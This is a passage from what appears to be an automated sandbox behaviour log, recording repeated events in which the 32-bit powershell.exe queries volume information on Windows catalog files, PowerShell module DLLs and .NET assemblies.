Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.SecureBoot.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.SecureBoot.Commands.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.WindowsAuthenticationProtocols.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.WindowsAuthenticationProtocols.Commands.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.WindowsAuthenticationProtocols.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.WindowsAuthenticationProtocols.Commands.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.WindowsAuthenticationProtocols.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.WindowsAuthenticationProtocols.Commands.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-UEV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\UEV\Microsoft.Uev.Commands.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\WindowsErrorReporting\Microsoft.WindowsErrorReporting.PowerShell.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Program Files (x86)\AutoIt3\AutoItX\AutoItX3.PowerShell.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
